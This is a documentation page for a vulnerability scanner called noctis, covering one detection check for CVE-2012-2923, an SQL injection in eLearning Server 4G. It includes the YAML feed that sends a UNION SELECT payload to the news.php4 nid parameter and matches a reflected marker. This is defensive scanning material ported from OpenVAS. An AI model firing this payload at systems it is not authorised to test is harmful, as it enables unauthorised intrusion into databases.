eLearning Server — 1 vulnerability check
noctis ships 1 vulnerability check for eLearning Server, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
eLearning Server 4G SQL Injection (news.php4 nid parameter)
| CVE | CVE-2012-2923 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | tcp_connect, match · highest QoD 75 |
| Feed | tests/vulnerabilities/elearning-server/CVE-2012-2923.yaml |
Detects CVE-2012-2923 by sending a UNION SELECT payload to the news.php4 endpoint and confirming the reflected SQL-Injection-Test marker in the HTTP response.
How noctis detects it
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /news.php4 HTTP/1.0 - Checks
pre.bannerfor200 OK - Raw TCP (TLS on HTTPS), sent verbatim:
GET /news.php4?nid=-12'+union+select+1,2,0x53514c2d496e6a656374696f6e2d54657374,4,5,6,7,8… - Checks
resp.bannerforSQL-Injection-Test→ finding QoD 75: eLearning Server 4G SQLi confirmed — UNION SELECT payload on news.php4 nid reflected the SQL-Injection-Test marker at …:…
References:
Feed source — tests/vulnerabilities/elearning-server/CVE-2012-2923.yaml
# eLearning Server 4G — SQL Injection (CVE-2012-2923)
#
# eLearning Server 4G is prone to a remote file include (RFI) and an SQL
# injection (SQLi) vulnerability. The `nid` parameter of news.php4 is used in
# an SQL query without sanitisation. An unauthenticated attacker injects a
# UNION SELECT that reflects a hex-encoded marker, confirming injection.
#
# Ported from OpenVAS/Greenbone NVT 2012/gb_elearning_server_53472.nasl
# (GPL-2.0-only). Payload/marker preserved faithfully from the source plugin.
#
# The payload carries `'`, `+`-separated tokens and a `/*` comment that reqwest
# would normalise, so the request is sent verbatim over tcp_connect (HTTP/1.0)
# and the reflected marker is matched on resp.banner.
#
# Like the NASL, the SQLi payload is only sent after GET /news.php4 returns 200
# (endpoint-present gate). The NASL additionally iterates http_cgi_dirs; this
# feed probes the web root (/) only, which covers the default install layout.
uid: 95df3084-650e-46cb-8b1d-686209d124d2
name: "eLearning Server 4G SQL Injection (news.php4 nid parameter)"
description: |
Detects CVE-2012-2923 by sending a UNION SELECT payload to the news.php4 endpoint and
confirming the reflected SQL-Injection-Test marker in the HTTP response.
cves: [CVE-2012-2923]
cvss: 7.5
severity: high
confidence_base: 0.30
category: sqli
tags: [elearning-server, sqli, openvas, web-application-abuses]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2012-2923"
- "OpenVAS/Greenbone NASL 2012/gb_elearning_server_53472.nasl (GPL-2.0-only)"
steps:
- id: news-precheck
action: tcp_connect
port: "{{port}}"
send: "GET /news.php4 HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
store_as: pre
- id: confirm-endpoint
action: match
source: pre.banner
pattern: "200 OK"
on_match:
set_vars:
news_present: true
- id: sqli-probe
action: tcp_connect
port: "{{port}}"
send: "GET /news.php4?nid=-12'+union+select+1,2,0x53514c2d496e6a656374696f6e2d54657374,4,5,6,7,8,9,10,11/* HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
condition: "news_present == true"
timeout_secs: 10
store_as: resp
- id: confirm-sqli
action: match
source: resp.banner
pattern: "SQL-Injection-Test"
condition: "news_present == true"
on_match:
finding:
confidence_delta: 0.55
qod: 75
evidence: "eLearning Server 4G SQLi confirmed — UNION SELECT payload on news.php4 nid reflected the SQL-Injection-Test marker at {{target_host}}:{{port}}"